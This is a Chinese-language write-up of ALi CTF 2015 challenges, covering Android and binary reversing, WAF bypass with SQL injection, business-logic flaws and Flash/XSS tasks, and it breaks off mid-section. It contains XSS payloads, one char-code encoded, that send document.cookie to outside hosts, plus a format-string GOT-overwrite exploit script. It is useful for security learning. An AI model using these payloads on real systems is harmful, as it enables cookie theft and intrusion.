0428-ALi CTF 2015 write up

# ALi CTF 2015 write up

Authors:

EMcnevilmoon@gmail.com

Ricterricterzheng@gmail.com

[附件](http://drops.wooyun.org/wp-content/uploads/2015/04/%E9%99%84%E4%BB%B6.tar.gz)

0x00 Cake
=========

* * *

Cake 是一题 Android 题,具体流程就是一个输入一个字符串然后,初始化一个长度为16的数组,然后将字符串与这个数组 xor 。所以我们只需要再 xor 一下就 ok 了。

就是看代码逆向下,关键是有两个 Key 找对就 ok 直接上代码

“`
a = [0, 3, 13, 19, 85, 5, 15, 78, 22, 7, 7, 68, 14, 5, 15, 42]
b = ‘bobdylan’
s = ”
i = 0
for x in a:
s+= chr(x ^ ord(b[i % len(b)]))
i += 1
print s

“`

0x01 渗透绕过WAF1
=============

* * *

2、绕过云 WAF1 是一题绕过 WAF 题,这个 WAF 写的很死,所以就要用其他办法咯~

通过打开的弹窗提示,需要在`.alictf.com`的子域下面做,于是 fuzz 子域名:

![enter image description here](http://drops.javaweb.org/uploads/images/b95fd0335355e26369c4564409eb36b6d2e4405d.jpg)

得出`video.alictf.com`,打开发现没有 waf,注入点为`id`。

![enter image description here](http://drops.javaweb.org/uploads/images/fcfb1981979a60b0e64ce593fdd0782ad52123ef.jpg)

0x02 前端初赛题1
===========

* * *

反射型 XSS,通过 ph 牛的[文章](http://www.leavesongs.com/PENETRATION/XDCTF-2014-Writeup.html),``标签内`

![enter image description here](http://drops.javaweb.org/uploads/images/b714a78245ecd55ba188b4897b901341d0b36cf5.jpg)

之后 payload 如下:

``` var i = new Image(); i.src = "http://ricter.me:9999/?" + document.cookie;

```

得到 flag。

0x03 密码宝宝 =========

* * *

密码宝宝 一题逆向题,用了 upx 加壳。

用010editor打开后,可以看到加了upx壳,用upx –d脱壳

![enter image description here](http://drops.javaweb.org/uploads/images/c48e89dd2838f50861ea88e55803ea0a2a11d932.jpg)

在ida中查找GetWIndowTextA调用的地方

![enter image description here](http://drops.javaweb.org/uploads/images/32de1d92d06430764861119b31c18fd15cca222c.jpg)

![enter image description here](http://drops.javaweb.org/uploads/images/9d9cdaefd54aabfaa393287d11e10c58c9aee23a.jpg)

Sub_405160这个函数就是进行判断的函数

![enter image description here](http://drops.javaweb.org/uploads/images/ad7e7717de06650047070a887002d68c1e6cbc26.jpg)

可以看到逻辑比较简单,就是将”himemnl”的每一位与0x4c,0x5a,0x4b各异或一次,就可以得到密码“5408031”

0x04 简单业务逻辑 ===========

* * *

简单业务逻辑 一题逻辑漏洞题~

注册账号,其中 Username 为`Admin`。

![enter image description here](http://drops.javaweb.org/uploads/images/141f8c8280352d4d64fa252a1a31516e97613cae.jpg)

登录后买 -111 个草泥马:

![enter image description here](http://drops.javaweb.org/uploads/images/0659e9378bfbb22c6a02e870cb30f3f230129e0c.jpg)

得到好多钱,然后买最贵的那个。

0x05 前端初赛题2 ===========

* * *

前端初赛题2 简单来说就是给你一个 flash 让你弹弹弹

直接反编译得到 as 代码,首先可以知道 ExternalInterface.call 肯定是利用电,但是发现它会 delete 掉那些方法。找资料发现

``` http://drops.wooyun.org/papers/948

```

如果你需要将你的vector发送到藏在防火墙的后面受害者(flashvars­可以使用#来达到隐藏自己的目的)又或者想突破一些客户端的XSS防御机制这个方法将会十分的凑效。这一切都基于flash会丢弃一些被URL编码过的无效字符。

(1)flash会丢弃两个出现在%后面的无效十六进制字符(([^0-9a-fA-F])),比如:

``` "%X" or "%="

```

(2)如果在%后面出现一个有效和一个非有效十六进制字符,就会丢弃三个字符,比如:

``` "%AX" or "%A&"

```

这样处理后就能 bypass 那个 delete 了,因为在 for 里时把 %X 带上了,最后在 call 的时候 flash 会丢弃这个

然后在用这篇文章里的方法

``` http://drops.wooyun.org/tips/2924

```

带上

``` alert(1))}catch(e){alert(100)}//

```

当然直接用弹不出来(血的教训,卡了好久,审查元素看了下发现语句不一样=。= 所以最后可以这样弹

``` %Xdebug=\%22));alert(1);}catch(e){alert(100)}//

```

最后 payload 如下

``` http://8dd25e24b4f65229.alictf.com/swf.swf?%Xdebug=\%22));eval(String.fromCharCode(101,118,97,108,40,34,118,97,114,32,120,61,110,101,119,32,73,109,97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47,52,53,46,53,53,46,49,51,53,46,49,51,57,47,120,46,112,104,112,63,99,111,111,107,105,101,61,39,43,101,115,99,97,112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,34,41));}catch(e){alert(100)}//

```

0x06 渗透绕过WAF2 =============

* * *

绕过云WAF2 题目显示说不在内网,所以第一步就是先设置一个内网 ip 咯 接下来看 writeup

提示需要内部访问,于是 fuzz IP:

* 192.168.x.x * 10.x.x.x * 172.16.x.x

发现 10 开头的 IP 可以访问。通过更改 HTTP 请求方法为 PATCH 可以让防护等级为中。 更改关键字,如`%20`改为`%0b`等绕过检测,注入得到 flag。

![enter image description here](http://drops.javaweb.org/uploads/images/c05ab9739901328761ff1f28ec7e255e6903dd13.jpg)

0x07 谁偷了你的站内短信 ==============

* * *

谁偷了你的站内短信 一题 binary 题

直接无脑 F5 ,可以看到 sendMail 直接 printf 了输入,所以就有一个 Format String 漏洞。

当然,要任意地址写得有个数据在栈上,然后发现用户名在栈上,再追一下栈上的数据,可以看到 76 的位置放着用户名,所以我可以任意地址写了。

然后本来还想怎么泄漏 libc 的地址什么的,结果再看看代码,那里躺着一个 print_flag 。。。这下就简单了,发现在 sendMail 后返回后跟着三个 free ,我直接改 free 的 got 表,让他跳到 print_flag 就行了,直接上代码。

``` #coding:utf-8 from zio import *

print_flag = 0x08048BBD free_addr = 0x0804C014

exp = """%134515645x%76$hn"""

io = zio(('exploit.alictf.com',5608)) ''' # 第一次注册要用这个 io.read_until('Quit') io.writeline('1') io.read_until('Name:') io.writeline(l32(free_addr)) io.read_until('ass:') io.writeline('1234') '''

io.read_until('Quit') io.writeline('2') io.read_until('Name:') io.writeline(l32(free_addr)) io.read_until('ass:') io.writeline('1234') io.read_until('Quit') io.writeline('3') io.read_until('To:')

io.writeline(exp) ''' # 这下面的去掉不然会超时,最后自己随便写就好了 io.read_until('Title:') io.writeline('123') io.read_until('Body:') io.writeline('123') io.read_until('Quit') io.writeline('3') ''' io.interact()

```

0x08 业务逻辑和渗透 ============

* * *

先弄个正常的用户,找回密码,发现给了个地址

``` http://jinan.alictf.com/resetpass/reset.php?pass_token=xxxxx

```

想说这里的 token 可以控制就好了,再看重置密码的页面,发现底部有东西。

``` testKey: 673f3e705c8d5b7af675f309e58d46c9 ServerTime:15-03-29 20:46:03

```

再想,token 明显是个 md5 那么会是怎么组的呢,首先这个 testKey 和 ServerTime 肯定会用到,但是总不可能每个人的 token 都一样,所以肯定还需要用户名,试了下发现是

``` md5(username + testKey + serverTime(时间戳))

```

然后就可以修改 admin 的密码了,但是。。说我异地登陆。尝试改 xff 、 xrealip 等头都不行。。。然后上网找了个 http 代理。。然后就。。就可以了。这题自带地域歧视!山东人直接能秒了啊!!!

0x09 前端初赛题3 ===========

* * *

```





```

读 JavaScript 代码,构造地址:

```
http://ef4c3e7556641f00.alictf.com/xss.php?http://notexist.example.com:@notexist.example.com:@ricter.me:9999/

```

加载的 JavaScript 脚本和 XSS100 相同。

0x10 简单业务逻辑2
============

* * *

```